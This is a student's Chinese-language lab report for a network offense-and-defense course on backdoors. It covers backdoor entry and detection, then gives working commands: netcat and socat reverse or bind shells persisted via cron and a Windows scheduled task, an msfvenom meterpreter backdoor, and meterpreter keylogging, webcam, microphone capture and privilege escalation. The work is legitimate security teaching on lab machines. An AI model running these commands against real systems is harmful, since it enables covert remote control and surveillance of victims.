2018-2019-2 网络对抗技术 20165232 Exp2 后门原理与实践
1. 后门原理与实践实验说明及预备知识
一、实验说明
-
任务一:使用netcat获取主机操作Shell,cron启动 (0.5分)
-
任务二:使用socat获取主机操作Shell, 任务计划启动 (0.5分)
-
任务三:使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell(0.5分)
-
任务四:使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权 (2分)
二、基础问题回答
- 问:例举你能想到的一个后门进入到你系统中的可能方式?
下载软件时,根据搜索引擎的推荐项随意点开一个链接下载,往往会捆绑下载一些我们并不需要的软件。这其中难免会有木马病毒。 - 问:例举你知道的后门如何启动起来(win及linux)的方式?
- win:修改注册表、设置为开机自启动、诱导用户点击。
- Linux:可以通过crontab功能将木马设为定时启动,也可以通过对正常软件的绑定注入shellcode达到开启后门的目的。
- 问:Meterpreter有哪些给你映像深刻的功能?
这次试验给我留下深刻印象的主要有获取目标主机音频、摄像头、击键记录等内容。除此之外还有植入后门实施远程控制、metsvc后渗透攻击模块等等。 - 问:如何发现自己有系统有没有被安装后门?
可以检测网络连接,查看是否有IP与本机建立连接;安装专门的杀毒软件,定期检测电脑安全情况;查看任务计划程序、开机自启动项中是否有可疑程序等。
2. 常用后门工具
任务一:Windows获得Linux Shell
1、在Windows下使用ipconfig查看本机IP:
2、使用ncat.exe程序监听本机的5232端口:
3、在Kali环境下,使用nc指令的-e选项反向连接Windows主机的5232端口:
4、成功获得Kali的shell,如下图所示:
任务二:Linux获得Windows Shell
1、在Kali环境中使用ifconfig查看IP:
2、在Windows下,使用ncat.exe程序的-e选项项反向连接Kali主机的5232端口:
3、使用nc指令监听5232端口:
4、Kali下可以看到Windows的命令提示,可以输入Windows命令:
任务三:使用nc传输数据
1、Windows下监听5232端口:
2、Kali下连接到Windows的5232端口:
之后就可以互传数据了,如图互传了
who are u
3. Meterpreter
任务一:使用netcat获取主机操作Shell,cron启动
1、在Windows系统下,监听5232端口:
2、用crontab -e指令编辑一条定时任务
3、在最后一行添加23 * * * * /bin/netcat 192.168.56.1 5232 -e /bin/sh,意思是在每个小时的第23分钟反向连接Windows主机的5232端口:
4、当时间到了23时,此时已经获得了Kali的shell,可以输入指令:
任务二:使用socat获取主机操作Shell, 任务计划启动
- 预备知识:
- socat是ncat的增强版,它使用的格式是socat [options] ,其中两个address是必选项,而options 是可选项。
- socat的基本功能就是建立两个双向的字节流,数据就在其间传输,参数address就是代表了其中的一个方向。所谓流,代表了数据的流向,而数据则可以有许多不同的类型,命令中也就相应需要许多选项对各种不同的类型数据流进行限定与说明。
- 实践过程:
1、在win7系统下,右击屏幕左下角windows图标,选择“计算机管理”。在任务计划程序创建任务,填写任务名称,并新建一个触发器。
2、在操作->程序或脚本中选择你的socat.exe文件的路径,在添加参数一栏填写tcp-listen:5232 exec:cmd.exe,pty,stderr,这个命令的作用是把cmd.exe绑定到端口5232,同时把cmd.exe的stderr重定向到stdout上:
3、创建完成之后,按Windows+L快捷键锁定计算机,再次打开时,可以发现之前创建的任务已经开始运行:
4、此时,在Kali环境下输入指令socat - tcp:192.168.168.1:5232,这里的第一个参数-代表标准的输入输出,第二个流连接到Windows主机的5232端口,此时可以发现已经成功获得了一个cmd shell:
任务三:使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
1、输入指令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.168.132 LPORT=5232 -f exe > 20165232_backdoor.exe
生成后门程序:
2、通过nc指令将生成的后门程序传送到Windows主机上:
3、在Linux中执行nc 192.168.1.161 5232 < 20165232_backdoor.exe,注意这里的IP为被控主机IP,即WindowsIP,传输文件成功如图
4、在Kali上使用msfconsole指令进入msf控制台
- 输入use exploit/multi/handler使用监听模块,设置payload
- set payload windows/meterpreter/reverse_tcp,使用和生成后门程序时相同的payload
- set LHOST 192.168.168.132,这里用的是LinuxIP,和生成后门程序时指定的IP相同
- set LPORT 5232,同样要使用相同的端口
设置完成后,执行监听
运行Windows下的后门程序
此时Kali上已经获得了Windows主机的连接,并且得到了远程控制的shell
任务四:使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
- 使用record_mic指令可以截获一段音频,可以用-d选项设置录制时间
- 使用webcam_snap指令可以使用摄像头进行拍照
- 使用keyscan_start指令开始记录下击键的过程,使用keyscan_dump指令读取击键的记录
- 使用screenshot指令可以进行截屏
- 先使用getuid指令查看当前用户,使用getsystem指令进行提权
实验中遇到的问题
解决方法
关闭虚拟机,将内存调高再启动即可解决